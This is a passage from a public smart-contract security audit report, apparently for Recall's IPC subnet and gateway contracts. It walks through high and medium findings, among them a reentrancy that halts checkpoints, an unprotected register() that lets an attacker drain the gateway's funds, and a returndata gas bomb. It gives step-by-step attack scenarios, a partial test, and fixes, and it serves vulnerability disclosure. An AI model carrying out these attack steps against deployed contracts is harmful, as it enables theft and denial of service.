                if (change.op == StakingOperation.Withdraw) {
                    self.validators.confirmWithdraw(validator, amount);
                } else {
               ---> self.validators.confirmDeposit(validator, amount);
                }
            }
            ............
    }

3. A bottom -> top checkpoint will take place, and we will arrive at the parent subnet again. The following function will be called in the parent LibStaking::confirmChange(). This function will then confirm the deposit in the parent after the child subnet has already confirmed it.

   /// @notice Confirm the changes in bottom up checkpoint submission, only call this in bottom up checkpoint execution.
   function confirmChange(uint64 configurationNumber) internal {
       SubnetActorStorage storage s = LibSubnetActorStorage.appStorage();
       StakingChangeLog storage changeSet = s.changeSet;
   
       ........................
   
       uint64 start = changeSet.startConfigurationNumber;
       for (uint64 i = start; i <= configurationNumber; ) {
           StakingChange storage change = changeSet.getChange(i);
           address validator = change.validator;
   
           .................
           } else {
               uint256 amount = abi.decode(change.payload, (uint256));
               address gateway = s.ipcGatewayAddr;
   
               if (change.op == StakingOperation.Withdraw) {
                   s.validatorSet.confirmWithdraw(validator, amount);
                   s.releaseQueue.addNewRelease(validator, amount);
                   IGateway(gateway).releaseStake(amount);
               } else if (change.op == StakingOperation.Deposit) {
           ------> s.validatorSet.confirmDeposit(validator, amount);
           ------> uint256 msgValue = s.collateralSource.makeAvailable(gateway, amount);
           ------> IGateway(gateway).addStake{value: msgValue}(amount);
               } else {
                   revert("Unknown staking operation");
               }
           }
           ........................
       }
   }

   It will do the following:

   1. It’ll confirm the deposit by calling confirmDeposit().
   2. It’ll then call makeAvailable() to allow for the funds deposited by validator to be moved to the GatewayManagerFacet contract. You can think of makeAvailable() as of ERC20’s increaseAllowance() function.
   3. It’ll move the funds deposited by the validator to the gateway and call the function addStake():

   /// @notice addStake - add collateral for an existing subnet
   function addStake(uint256 amount) external payable {
       if (amount == 0) {
           revert NotEnoughFunds();
       }
   
       // The fund flow for stake is from Validator -> SubnetActor -> Gateway.
       // Because msg.sender is actually the subnet actor, this method sends the fund from
       // the subnet actor caller the gateway.
       SubnetActorGetterFacet(msg.sender).collateralSource().lock(amount);
   
       (bool registered, Subnet storage subnet) = LibGateway.getSubnet(msg.sender);
       if (!registered) {
           revert NotRegisteredSubnet();
       }
   
       subnet.stake += amount;
   }

4. The funds now will stay in the gateway contract and then the stake uint256 state associated with the child subnet will be increased by the amount of funds the depositor has deposited.

Finding description and impact

The function SubnetActorManagerFacet::leave() suffers from a reentrancy vulnerability which if exploited in a not-yet bootstrapped subnet, will halt top -> down checkpoints to the child subnet. Attack will be explained in great detail below:

    /// @notice method that allows a validator to leave the subnet.
    function leave() external nonReentrant whenNotPaused notKilled {
        ......................

        if (!s.bootstrapped) {
            // check if the validator had some initial balance and return it if not bootstrapped
            uint256 genesisBalance = s.genesisBalance[msg.sender];
            if (genesisBalance != 0) {
                delete s.genesisBalance[msg.sender];
                s.genesisCircSupply -= genesisBalance;
                LibSubnetActor.rmAddressFromBalanceKey(msg.sender);
         -----> s.collateralSource.transferFunds(payable(msg.sender), genesisBalance);
            }

            // interaction must be performed after checks and changes
            LibStaking.withdrawWithConfirm(msg.sender, amount);
            s.collateralSource.transferFunds(payable(msg.sender), amount);
            return;
        }
        LibStaking.withdraw(msg.sender, amount);
    }

The vulnerability exists in the highlighted line and it can be exploited if the function collateralSource (or its correction supplySource) is native ETH.

Exploitation: Halting bottom -> top checkpoints for subnet by exploiting the reentrancy

1. Suppose we have a subnet that is not yet bootstrapped, the active validator count threshold has been met but the minimum staking threshold has yet to be met (the moment it’s met, the subnet will become bootstrapped). Suppose that currently there are currently 40 ETH staked and the minimum threshold is 50 ETH, so 10 more ETH need to be staked for the subnet to become bootstrapped.
2. The attacker, through a malicious smart contract will join the subnet by calling the function join() and stake amount of ETH that is quite minimal (10 gwei for ex) or stakes the minimum amount enforced by the validator gater and then deposit a very small amount of ETH like 1 wei of supply source funds using the function preFund(). preFund() will then increase the genesisBalance associated with the malicious smart contract address.

    /// @notice method to add some initial balance into a subnet that hasn't yet bootstrapped.
    /// @dev This balance is added to user addresses in genesis, and becomes part of the genesis
    /// circulating supply.
    function preFund(uint256 amount) external payable {
        if (amount == 0) {
            revert NotEnoughFunds();
        }

        if (s.bootstrapped) {
            revert SubnetAlreadyBootstrapped();
        }

        s.supplySource.lock(amount);

        if (s.genesisBalance[msg.sender] == 0) {
            s.genesisBalanceKeys.push(msg.sender);
        }

        s.genesisBalance[msg.sender] += amount;
        s.genesisCircSupply += amount;
    }

3. The attacker, through another wallet he owns, will join the subnet and stake a little under what it takes to get the subnet to be bootstrapped by calling the join() function. So if 10 ETH is left until requirement is met, the attacker will stake ~9.99999 ETH.
4. The attacker, through the malicious smart contract he used in step 2 will call the function leave().

    /// @notice method that allows a validator to leave the subnet.
    function leave() external nonReentrant whenNotPaused notKilled {
        ......................

        if (!s.bootstrapped) {
            // check if the validator had some initial balance and return it if not bootstrapped
            uint256 genesisBalance = s.genesisBalance[msg.sender];
            if (genesisBalance != 0) {
                delete s.genesisBalance[msg.sender];
                s.genesisCircSupply -= genesisBalance;
                LibSubnetActor.rmAddressFromBalanceKey(msg.sender);
         -----> s.collateralSource.transferFunds(payable(msg.sender), genesisBalance);
            }

            // interaction must be performed after checks and changes
            LibStaking.withdrawWithConfirm(msg.sender, amount);
            s.collateralSource.transferFunds(payable(msg.sender), amount);
            return;
        }
        LibStaking.withdraw(msg.sender, amount);
    }

    /// @notice Transfers the specified amount out of our treasury to the recipient address.
    function transferFunds(
        Asset memory asset,
        address payable recipient,
        uint256 value
    ) internal returns (bool success, bytes memory ret) {
        if (asset.kind == AssetKind.Native) {
            success = sendValue(payable(recipient), value);
            return (success, EMPTY_BYTES);
        } else if (asset.kind == AssetKind.ERC20) {
            return ierc20Transfer(asset, recipient, value);
        }
    }

    function sendValue(address payable recipient, uint256 value) internal returns (bool) {
        if (address(this).balance < value) {
            revert NotEnoughBalance();
        }
        (bool success, ) = recipient.call{value: value}("");
        return success;
    }

5. Since the caller of the leave() function (malicious smart contract), has a non-zero genesisBalance, the if genesisBalance != 0 code branch will be executed and the highlighted transferFunds() function will be executed which will attempt to transfer the funds to the caller. Since the funds (in this case, collateralSource) are of type native ETH, the malicious smart contract will hijack the execution flow.

6. In the hijacked execution flow, the malicious smart contract will do two things:

   1. It’ll stake the amount of ETH left required to meet the minimum threshold (which will be a small amount left, check step 2). Suppose it staked 0.000001 ETH and now the minimum threshold is met and now the subnet will be eligible for bootstrapping.

   2. The function bootstrapSubnetIfNeeded() will be called and then the function registerInGateway() will be called.

      • What the registerInGateway() function will do is that it will transfer all of the genesis (supply source) funds and all of the staked funds to the GatewayManagerFacet. So the SubnetActorManagerFacet contract will now have zero funds.

   function registerInGateway(uint256 collateral) internal {
       SubnetActorStorage storage s = LibSubnetActorStorage.appStorage();
   
       uint256 genesisCircSupply = s.genesisCircSupply;
   
       uint256 msgValue = 0;
       msgValue += s.supplySource.makeAvailable(s.ipcGatewayAddr, genesisCircSupply);
       msgValue += s.collateralSource.makeAvailable(s.ipcGatewayAddr, collateral);
   
       IGateway(s.ipcGatewayAddr).register{value: msgValue}(genesisCircSupply, collateral);
       }

   3. Since we are still in the hijacked execution flow of the SubnetActorManagerFacet::leave() function and since the function did not yet transfer the staked funds to the caller (malicious smart contract), and since the SubnetActorManagerFacet contract has zero funds now, the malicious smart contract will stake amount of ETH where amount represents the very minimal amount of ETH it staked previously in step 1, by calling the function stake(). This step is required to make the function leave() not revert when the hijacked execution flow exits and it attempts to transfer staked funds back to the malicious smart contract which is the caller of the leave() function. Look at the highlighted lines:

   /// @notice method that allows a validator to leave the subnet.
   function leave() external nonReentrant whenNotPaused notKilled {
   
       // remove bootstrap nodes added by this validator
   ---> uint256 amount = LibStaking.totalValidatorCollateral(msg.sender);
       if (amount == 0) {
           revert NotValidator(msg.sender);
       }
   
       ................
   
       if (!s.bootstrapped) {
           // check if the validator had some initial balance and return it if not bootstrapped
           uint256 genesisBalance = s.genesisBalance[msg.sender];
           if (genesisBalance != 0) {
               delete s.genesisBalance[msg.sender];
               s.genesisCircSupply -= genesisBalance;
               LibSubnetActor.rmAddressFromBalanceKey(msg.sender);
         ----> s.collateralSource.transferFunds(payable(msg.sender), genesisBalance); // <---- We're here still!
           }
   
           // interaction must be performed after checks and changes
     ----> LibStaking.withdrawWithConfirm(msg.sender, amount);
     ----> s.collateralSource.transferFunds(payable(msg.sender), amount);
           return;
       }
       LibStaking.withdraw(msg.sender, amount);
   }

7. The hijacked execution flow exits and the previously staked funds will be transferred back to the attacker successfully. But now there are two main invariants broken:

   1. Invariant # 1 - Once a subnet is bootstrapped, the SubnetActorManagerFacet contract should NOT ever transfer funds back to the caller of leave() and unstake(). Transferring those funds back to the caller of those functions is the responsibility of the GatewayManagerFacet contract, refer to prerequisite knowledge section “How stake & unstake operations work in a bootstrapped subnet”.
   2. Invariant # 2 - Confirmations of withdrawals and deposits should never occur after a subnet has been bootstrapped unless the withdrawal/deposit requests are sent down to the child subnet and are confirmed by it firstly! Here, withdrawWithConfirm() will be called (after hijacked exec flow exits) despite the subnet being bootstrapped at this point (bootstrapping occurred during reentrancy attack).
8. In step 4, the malicious smart contract, after subnet became bootstrapped, had deposited a minimal amount of ETH by calling the stake() function. So a deposit request was created and it will be included in the next Top -> Bottom checkpoint which will be sent to the child subnet.
9. In the child subnet, the checkpoint will get processed and the function LibValidatorTracking::confirmChange() will end up getting called and the deposit will be confirmed in the child subnet.
10. In the parent subnet, the function submitCheckpoint() will be called to execute the periodic bottom -> up checkpoints. The function submitCheckpoint() will then call the function LibStaking::confirmChange() which purpose would be to confirm staking & unstaking operation requests in parent subnet after they’ve been confirmed in child subnet in step 9.
11. Now in LibStaking::confirmChange() the parent will confirm the deposit but then it will prepare the staked funds to be transferred from the SubnetActorManager to be sent to the GatewayManagerFacet and then GatewayManagerFacert::addStake() will be called which will move the funds to the GatewayManagerFacet, but this operation will revert because the SubnetActorManager won’t have any funds to transfer. This situation occurred because invariant 1 in step 7 was broken. The funds which were supposed to be moved in this operation were already given back to the attacker:

    /// @notice Confirm the changes in bottom up checkpoint submission, only call this in bottom up checkpoint execution.
    function confirmChange(uint64 configurationNumber) internal {
        ..........................

        for (uint64 i = start; i <= configurationNumber; ) {
            ..........................

            } else {
                uint256 amount = abi.decode(change.payload, (uint256));
                address gateway = s.ipcGatewayAddr;

                if (change.op == StakingOperation.Withdraw) {
                    s.validatorSet.confirmWithdraw(validator, amount);
                    s.releaseQueue.addNewRelease(validator, amount);
                    IGateway(gateway).releaseStake(amount);
                } else if (change.op == StakingOperation.Deposit) {
            ------> s.validatorSet.confirmDeposit(validator, amount);
            ------> uint256 msgValue = s.collateralSource.makeAvailable(gateway, amount);
            ------> IGateway(gateway).addStake{value: msgValue}(amount);
                } else {
                    revert("Unknown staking operation");
                }
            }
            ..............
        }
        .................

    /// @notice addStake - add collateral for an existing subnet
    function addStake(uint256 amount) external payable {
        if (amount == 0) {
            revert NotEnoughFunds();
        }

        // The fund flow for stake is from Validator -> SubnetActor -> Gateway.
        // Because msg.sender is actually the subnet actor, this method sends the fund from
        // the subnet actor caller the gateway.
  ----> SubnetActorGetterFacet(msg.sender).collateralSource().lock(amount);

        (bool registered, Subnet storage subnet) = LibGateway.getSubnet(msg.sender);
        if (!registered) {
            revert NotRegisteredSubnet();
        }

        subnet.stake += amount;
    }

12. The function submitCheckpoint() will end up reverting as a result which should never happen unless it’s a malicious entity calling the function or as a result of a programming error. This is how bottom -> up checkpointing mechanism is halted.

There is a typo bug in the line s.collateralSource.transferFunds(payable(msg.sender), genesisBalance); in the function leave() which was reported separately. However, this bug still persists even if that bug was fixed because both supplySource and collateralSource can be native ETH making this exploitable.

This is a complex bug. I will gladly develop a working PoC for this if needed.

Recommended mitigation steps

Proposed mitigation is as follows:

    if (!s.bootstrapped) {
        // check if the validator had some initial balance and return it if not bootstrapped
        uint256 genesisBalance = s.genesisBalance[msg.sender];
        if (genesisBalance != 0) {
            delete s.genesisBalance[msg.sender];
            s.genesisCircSupply -= genesisBalance;
            LibSubnetActor.rmAddressFromBalanceKey(msg.sender);
            s.collateralSource.transferFunds(payable(msg.sender), genesisBalance);
        }
    }

    uint256 amount = LibStaking.totalValidatorCollateral(msg.sender);
    if (amount == 0) {
        revert NotValidator(msg.sender);
    }

    if (!s.bootstrapped) {
       LibStaking.withdrawWithConfirm(msg.sender, amount);
       s.collateralSource.transferFunds(payable(msg.sender), amount);
    } else {
       LibStaking.withdraw(msg.sender, amount);
    }   

---

[H-07] Incorrect loop indexing in LibAddressStakingReleases.compact() leads to unprocessed pending releases

Submitted by 0xAsen, also found by BlueSheep, danzero, newspacexyz, NexusAudits, and sin1st3r__

The root cause of this issue is the use of an absolute index (self.startIdx) in the loop condition of the compact() function in LibAddressStakingReleases, while self.length represents the number of pending releases.

If there are more processed releases than pending releases, the following will be true: self.startIdx > self.length.

This will cause the compact() function to never enter the processing loop:

    function compact(AddressStakingReleases storage self) internal returns (uint256, uint16) {
        uint16 length = self.length;
        if (self.length == 0) {
            revert NoCollateralToWithdraw();
        }

        uint16 i = self.startIdx; // <-- 'i' is the absolute index, e.g., 100 after previous processing

        uint16 newLength = length;
        uint256 amount;
        while (i < length) { // <-- ! // Incorrect: compares absolute index (e.g., 100) with pending count (15)
            StakingRelease memory release = self.releases[i];

            // releases are ordered ascending by releaseAt, no need to check
            // further as they will still be locked.
            if (release.releaseAt > block.number) {
                break;
            }

            amount += release.amount;
            delete self.releases[i];

            unchecked {
                ++i;
                --newLength;
            }
        }

        self.startIdx = i; // <-- Updates startIdx to the final value of 'i'
        self.length = newLength; // Updates the length to the number of pending releases

        return (amount, newLength);
    }

This prevents the contract from processing and releasing collateral that should be claimable, locking validator funds and breaking the core logic of the compact function.

Since startIdx only increases over time (as it is never reset), this issue becomes more likely as the absolute index grows larger and at some point it becomes inevitable.

Note: compact is called in the claim function that is critical for the validator collateral claiming flow.

Proof of Concept

Let’s go over the following scenario:

• 115 releases to be processed, 100 of them available to claim at the current release time.
• compact function is called, i = startIdx = 0, newLength = length = 115.
• compact processes the 100 available releases, the loop breaks and this is executed:

self.startIdx = i; // = 100 (it was incremented 100 times)
self.length = newLength; // = 15 (it was decremented 100 times - number of pending releases) 

Now, on the next iteration, let’s say for simplicity the number of releases stays the same, and time has passed so now they are available for claiming. We have this:

• startIdx = 100, self.length = 15.
• The loop starts with i = 100 and checks while (i < 15), which immediately fails.

Outcome:

• The loop body does not execute.
• Pending releases (indices 100 to 114 in absolute terms) are never processed.

This discrepancy between the absolute index and the relative count prevents claimable collateral from being released. This is extremely likely to happen since the absolute index of processed releases only grows; it never decreases. Therefore, it’ll reach a point of its value being 100, 1000, 10_000, etc.

At some point, the value will be so big that the pending releases will inevitably be of much lower value than the processed releases, leading to locked validator collateral that should be available to claim.

Recommended mitigation steps

Adjust the loop condition. For example, change the condition to:

while (i < self.startIdx + self.length)

Recall confirmed

---

[H-08] Permissionless creation of new subnets under gateway will lead to gateway actor fund draining

Submitted by sin1st3r__, also found by chainsleuth, muellerberndt, SBSecurity, and Shinobi

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/gateway/GatewayManagerFacet.sol#L35

Finding description and impact

In the github contest page, it is mentioned that gateways restrict who can create subnets under it. But that’s not the case as creating subnets under the gateway is currently permissionless.

Gateway manages funds for all registered subnets (cf. “omnibus account”). Funds sit in the subnet actor until the subnet is bootstrapped, at which point the collateral and supply is transferred to the gateway. Gateway will manage the fund and disperse to the subnet upon subnet’s request. This design will cause some security threats as one subnet can potentially impact other subnets. Please check the Problems section of the refactoring proposal. The mitigation under the current design is for gateways to be single-tenant, i.e. to restrict who can create subnets under it, so all risk is contained under a single owner. In the future, the design will segregate liquidity per subnet into their dedicated actors/contracts.

Looking at the code of the GatewayManagerFacet::register() function:

    function register(uint256 genesisCircSupply, uint256 collateral) external payable {
        // If L2+ support is not enabled, only allow the registration of new
        // subnets in the root
        if (s.networkName.route.length + 1 >= s.maxTreeDepth) {
            revert MethodNotAllowed(ERR_CHILD_SUBNET_NOT_ALLOWED);
        }

        SubnetID memory subnetId = s.networkName.createSubnetId(msg.sender);

        (bool registered, Subnet storage subnet) = LibGateway.getSubnet(subnetId);
        if (registered) {
            revert AlreadyRegisteredSubnet();
        }

        subnet.id = subnetId;
        subnet.stake = collateral;
        subnet.genesisEpoch = block.number;
        subnet.circSupply = genesisCircSupply;

        s.subnetKeys.add(subnetId.toHash());
        s.totalSubnets += 1;

        if (genesisCircSupply > 0) {
            SubnetActorGetterFacet(msg.sender).supplySource().lock(genesisCircSupply);
        }
        if (collateral > 0) {
            SubnetActorGetterFacet(msg.sender).collateralSource().lock(collateral);
        }
    }

    function createSubnetId(SubnetID calldata subnet, address actor) public pure returns (SubnetID memory newSubnet) {
        newSubnet.root = subnet.root;
        uint256 subnetRouteLength = subnet.route.length;
        newSubnet.route = new address[](subnetRouteLength + 1);
        for (uint256 i; i < subnetRouteLength; ) {
            newSubnet.route[i] = subnet.route[i];
            unchecked {
                ++i;
            }
        }

        newSubnet.route[newSubnet.route.length - 1] = actor;
    }

As it is observed in the code, there are no checks to see if msg.sender is allowed to create a new subnet under the gateway or not. This can be exploited to drain all of the funds in the gateway actor contract.

Exploit

Draining the funds of the gateway actor contract by creating a malicious subnet. This vulnerability can be exploited to drain the funds of the gateway actor contract as follows:

1. Suppose the gateway actor contract currently holds 10,000 USDT ERC20 tokens which an attacker wants to hijack.
2. The attacker will create a malicious subnet actor contract which has a collateral source and supply source assets of a malicious ERC20 token created by the attacker, and then deploys that malicious subnet actor contract.

3. The malicious subnet actor contract will call the function GatewayManagerFacet::register(), with the following arguments:

   • genesisCircSupply -> 0
   • collateral -> 10,000.

   The subnet will then be registered and it will have a stake of 10,000.

4. The malicious subnet actor contract will change its collateral source token from malicious ERC20 token to USDT.
5. The malicious subnet actor will call the function GatewayManagerFacet::releaseStake() with an amount argument of 10,000.
6. 10,000 USDT will be sent to the malicious subnet actor created by the attacker.

An alternative way to exploit this and drain native ETH funds is to call register() and supply a genesisCircSupply of 1000 eth and collateral of 1000 eth while having both supplySource and collateralSource set to be native ETH, and while only sending a msg.value of 1000 eth (should be 2000 eth). This will work and the register() function will gladly accept this because of the check require(msg.value >= value, "Insufficient funds"); which is called twice where value is 1000, not 2000.

    function register(uint256 genesisCircSupply, uint256 collateral) external payable {
        ......................

        if (genesisCircSupply > 0) {
            SubnetActorGetterFacet(msg.sender).supplySource().lock(genesisCircSupply);
        }
        if (collateral > 0) {
            SubnetActorGetterFacet(msg.sender).collateralSource().lock(collateral);
        }
    }

    function lock(Asset memory asset, uint256 value) internal returns (uint256) {
        if (asset.kind == AssetKind.ERC20) {
            IERC20 token = IERC20(asset.tokenAddress);

            // Dealing with deflationary tokens.
            uint256 initialBalance = token.balanceOf(address(this));
            token.safeTransferFrom({from: msg.sender, to: address(this), value: value});
            uint256 finalBalance = token.balanceOf(address(this));
            require(finalBalance > initialBalance, "No balance increase");
            // Safe arithmetic is not necessary because underflow is not possible due to the assert above
            return finalBalance - initialBalance;
        } else {
            // Ensure we have received enough funds to cover the value.
            // msg.value might have coins in excess of the amount that we need to lock (e.g. when contributing both native collateral and supply at the same time).
            // That's why we can't do a strict equality check.
    ------> require(msg.value >= value, "Insufficient funds");
        }
        // Do nothing for native.
        return value;
    }

Recommended mitigation steps

Ensure that the caller of the function GatewayManagerFacet::register() is allowed to create a new subnet under the current gateway contract.

---

[H-09] Cross msg recipient can block checkpoint submission

Submitted by SBSecurity

As mentioned in the natspec of LibGateway::executeCrossMsg:

/// @dev Execute the cross message using low level `call` method. This way ipc will
    ///      catch contract revert messages as well. We need this because in `CrossMsgHelper.execute`
    ///      there are `require` and `revert` calls, without reflexive call, the execution will
    ///      revert and block the checkpoint submission process.

However there’s a still way to block the checkpoint submission entirely. Since the low level call is used, the returndata of the call can be used from the target to return gas bomb the execution of all the messages entirely. As we know, it’s impossible to have blockchain without gas limit as this will break the Turing Completeness. With that in mind, the attacker can construct various payloads, depending on the gas limit of chain and deplete it entirely.

Proof of Concept

Let’s take a look at how low level call is done in Recall. We have LibGateway::executeCrossMsg, which does delegate call to CrossMsgHelper::execute and when the IpcMsgKind is Call recipient is called:

CrossMsgHelper.sol

function execute(
        IpcEnvelope calldata crossMsg,
        Asset memory supplySource
    ) public returns (bool success, bytes memory ret) {
        if (isEmpty(crossMsg)) {
            revert CannotExecuteEmptyEnvelope();
        }

        address recipient = crossMsg.to.rawAddress.extractEvmAddress().normalize();
        if (crossMsg.kind == IpcMsgKind.Transfer) {
            return supplySource.transferFunds({recipient: payable(recipient), value: crossMsg.value});
        } else if (crossMsg.kind == IpcMsgKind.Call || crossMsg.kind == IpcMsgKind.Result) {
            // For a Result message, the idea is to perform a call as this returns control back to the caller.
            // If it's an account, there will be no code to invoke, so this will behave like a bare transfer.
            // But if the original caller was a contract, this give it control so it can handle the result

            // send the envelope directly to the entrypoint
            // use supplySource so the tokens in the message are handled successfully
            // and by the right supply source
            return
                supplySource.performCall(
                    payable(recipient),
                    abi.encodeCall(IIpcHandler.handleIpcMessage, (crossMsg)),
                    crossMsg.value
                );
        }
        return (false, EMPTY_BYTES);
    }

AssetHelper.sol

function performCall(
        Asset memory asset,
        address payable target,
        bytes memory data,
        uint256 value
    ) internal returns (bool success, bytes memory ret) {
        // If value is zero, we can just go ahead and call the function.
        if (value == 0) {
            return functionCallWithValue(target, data, 0);
        }

        // Otherwise, we need to do something different.
        if (asset.kind == AssetKind.Native) {
            // Use the optimized path to send value along with the call.
            (success, ret) = functionCallWithValue({target: target, data: data, value: value});
        } else if (asset.kind == AssetKind.ERC20) {
            (success, ret) = functionCallWithERC20Value({asset: asset, target: target, data: data, value: value});
        }
        return (success, ret);
    }

    /// @dev Performs the function call with ERC20 value atomically
function functionCallWithERC20Value(
        Asset memory asset,
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bool success, bytes memory ret) {
        // Transfer the tokens first, _then_ perform the call.
        (success, ret) = ierc20Transfer(asset, target, value);

        if (success) {
            // Perform the call only if the ERC20 was successful.
            (success, ret) = functionCallWithValue(target, data, 0);
        }

        if (!success) {
            // following the implementation of `openzeppelin-contracts/utils/Address.sol`
            if (ret.length > 0) {
                assembly {
                    let returndata_size := mload(ret)
                    // see https://ethereum.stackexchange.com/questions/133748/trying-to-understand-solidity-assemblys-revert-function
                    revert(add(32, ret), returndata_size)
                }
            }
            // disable solhint as the failing call does not have return data as well.
            /* solhint-disable reason-string */
            revert();
        }
        return (success, ret);
    }
    
function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bool success, bytes memory) {
        if (address(this).balance < value) {
            revert NotEnoughBalance();
        }

        if (!isContract(target)) {
            revert InvalidSubnetActor();
        }

        return target.call{value: value}(data);
    }

As we see, there’s no restriction on the returndata size and it’s always being loaded into memory, no matter the outcome.

When the msg kind is Transfer, the attack is even easier, since native supply source is sent directly to the contract and the attacker can have custom logic in his receive function to scale and return the payload which is guaranteed to consume all the gas up to the limit.

AssetHelper.sol

function transferFunds(
        Asset memory asset,
        address payable recipient,
        uint256 value
    ) internal returns (bool success, bytes memory ret) {
        if (asset.kind == AssetKind.Native) {
            success = sendValue(payable(recipient), value);
            return (success, EMPTY_BYTES);
        } else if (asset.kind == AssetKind.ERC20) {
            return ierc20Transfer(asset, recipient, value);
        }
    }
    
function sendValue(address payable recipient, uint256 value) internal returns (bool) {
        if (address(this).balance < value) {
            revert NotEnoughBalance();
        }
        (bool success, ) = recipient.call{value: value}("");
        return success;
    }

The caveat here is that no matter the return value is omitted, it’s still getting loaded into memory implicitly. Only assembly calls won’t load it into memory, unless not manually.

Recommended mitigation steps

Consider using ExcessivelySafeCall for all the low level calls and restrict them.

Recall disputed

---

Medium Risk Findings (4)

[M-01] Functions withdrawWithConfirm and depositWithConfirm incorrectly update genesisValidators state

Submitted by sin1st3r__

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/lib/LibStaking.sol#L505

Finding description and impact

The vulnerable functions are LibStaking::withdrawWithConfirm() and LibStaking::depositWithConfirm().

When the subnet is not yet bootstrapped and a validator has joined the subnet and staked funds, LibStaking::depositWithConfirm() does not update the weight of the validator if he increased his stake by calling addStake(). This will lead to the validator having an outdated weight (less than the weight he should have).

    function depositWithConfirm(address validator, uint256 amount) internal {
        ..........

        if (!s.bootstrapped) {
            // add to initial validators avoiding duplicates if it
            // is a genesis validator.
            bool alreadyValidator;
            uint256 length = s.genesisValidators.length;
            for (uint256 i; i < length; ) {
                if (s.genesisValidators[i].addr == validator) {
                    alreadyValidator = true;
                    break;
                }
                unchecked {
                    ++i;
                }
            }
     -----> if (!alreadyValidator) {
                uint256 collateral = s.validatorSet.validators[validator].confirmedCollateral;
                Validator memory val = Validator({
                    addr: validator,
                    weight: collateral,
                    metadata: s.validatorSet.validators[validator].metadata
                });
                s.genesisValidators.push(val);
            }
        }
    }

When the subnet is not yet bootstrapped and a validator has joined the subnet and staked funds and then left before the subnet is bootstrapped by calling the function leave(), LibStaking::withdrawWithConfirm() does not update the genesisValidators state in a subnet which is not yet bootstrapped, which will lead to genesisValidators reflecting an incorrect list of genesis validators.

    function withdrawWithConfirm(address validator, uint256 amount) internal {
        SubnetActorStorage storage s = LibSubnetActorStorage.appStorage();

        // record deposit that updates the total collateral
        s.validatorSet.recordWithdraw(validator, amount);
        // confirm deposit that updates the confirmed collateral
        s.validatorSet.confirmWithdraw(validator, amount);
    }

Recommended mitigation steps

Ensure that the genesisValidators state is updated in the function withdrawWithConfirm to ensure that changes are reflected properly if validators leave pre-bootstrap. Additionally, update the weight of the validator who increases his stake in depositWithConfirm

---

[M-02] Refunds to EOAs on unsuccessful cross-chain messages fail, leaving users’ funds stuck in the gateway

Submitted by muellerberndt

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/lib/CrossMsgHelper.sol#L173-L208

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/lib/AssetHelper.sol#L100-L120

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/lib/AssetHelper.sol#L162-L178

Finding description and impact

In IPC, EOAs send funds between subnets using the fund and fundWithToken functions which produce IpcMsgKind.Transfer messages. When a cross-net message fails, an error receipt is propagated back to the originating subnet, and the message value is refunded. However, the refund mechanism fails to refund EOAs when their cross-chain messages fail.

A sendReceipt function comment in LibGateway.sol reads:

/// Only `Call` messages trigger a receipt. Transfer messages should be directly
/// handled by the peer client to return the funds to the from address in the
/// failing network.

However, the actual code contradicts this. Both Call and Transfer messages trigger a receipt on failure.

function sendReceipt(IpcEnvelope memory original, OutcomeType outcomeType, bytes memory ret) internal {
    if (original.isEmpty()) {
        // This should not happen as previous validation should prevent empty messages arriving here.
        // If it does, we simply ignore.
        return;
    }

    // if we get a `Receipt` do nothing, no need to send receipts.
    // - And sending a `Receipt` to a `Receipt` could lead to amplification loops.
    if (original.kind == IpcMsgKind.Result) {
        return;
    }

    // commit the receipt for propagation
    // slither-disable-next-line unused-return
    commitValidatedCrossMessage(original.createResultMsg(outcomeType, ret));
}

We also don’t see an alternative mechanism for refunding users anywhere in the code. Another comment in CrossMsgHelper.sol says:

// For a Result message, the idea is to perform a call as this returns control back to the caller.
// If it's an account, there will be no code to invoke, so this will behave like a bare transfer.
// But if the original caller was a contract, this gives it control so it can handle the result

But the actual implementation uses AssetHelper.sol calls functionCallWithValue() to send tokens back to the original sender. This function reverts if the target address is not a contract. If the original sender is an EOA, the refund silently fails, leaving funds permanently trapped in the gateway contract.

Proof of Concept

The following test demonstrates the issue:

/// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.23;

import "forge-std/Test.sol";
import {IntegrationTestBase} from "./IntegrationTestBase.sol";
import {TestUtils} from "./helpers/TestUtils.sol";
import {BottomUpCheckpoint, IpcEnvelope, IpcMsgKind, CallMsg, OutcomeType, ResultMsg} from "../contracts/structs/CrossNet.sol";
import {ActivityHelper} from "./helpers/ActivityHelper.sol";
import {SubnetID, Subnet, IPCAddress, Asset, AssetKind} from "../contracts/structs/Subnet.sol";
import {SubnetIDHelper} from "../contracts/lib/SubnetIDHelper.sol";
import {FvmAddressHelper} from "../contracts/lib/FvmAddressHelper.sol";
import {GatewayFacetsHelper} from "./helpers/GatewayFacetsHelper.sol";
import {METHOD_SEND, EMPTY_BYTES} from "../contracts/constants/Constants.sol";
import {CrossMsgHelper} from "../contracts/lib/CrossMsgHelper.sol";

// Minimal subnet actor implementation for testing refunds
contract MinimalSubnetActor {
    function supplySource() external pure returns (Asset memory) {
        return Asset({kind: AssetKind.Native, tokenAddress: address(0)});
    }
    
    function collateralSource() external pure returns (Asset memory) {
        return Asset({kind: AssetKind.Native, tokenAddress: address(0)});
    }
    
    receive() external payable {}
}

contract ResultMessageRefundFailureTest is IntegrationTestBase {
    using GatewayFacetsHelper for address;
    using SubnetIDHelper for SubnetID;
    using CrossMsgHelper for IpcEnvelope;

    address private user;
    uint256 private constant TEST_AMOUNT = 5 ether;
    MinimalSubnetActor private subnetActor;

    function setUp() public virtual override {
        super.setUp();
        
        // Create test accounts
        user = makeAddr("user");
        
        // Fund the gateway diamond
        vm.deal(address(gatewayDiamond), 100 ether);
        
        // Give the user some funds
        vm.deal(user, 2 ether);
        
        // Deploy subnet actor
        subnetActor = new MinimalSubnetActor();
        
        // Give the subnet actor enough funds to provide circulating supply
        vm.deal(address(subnetActor), TEST_AMOUNT);
        
        // Register the subnet actor with enough circulating supply
        uint256 genesisCircSupply = TEST_AMOUNT;
        uint256 collateral = 0;
        
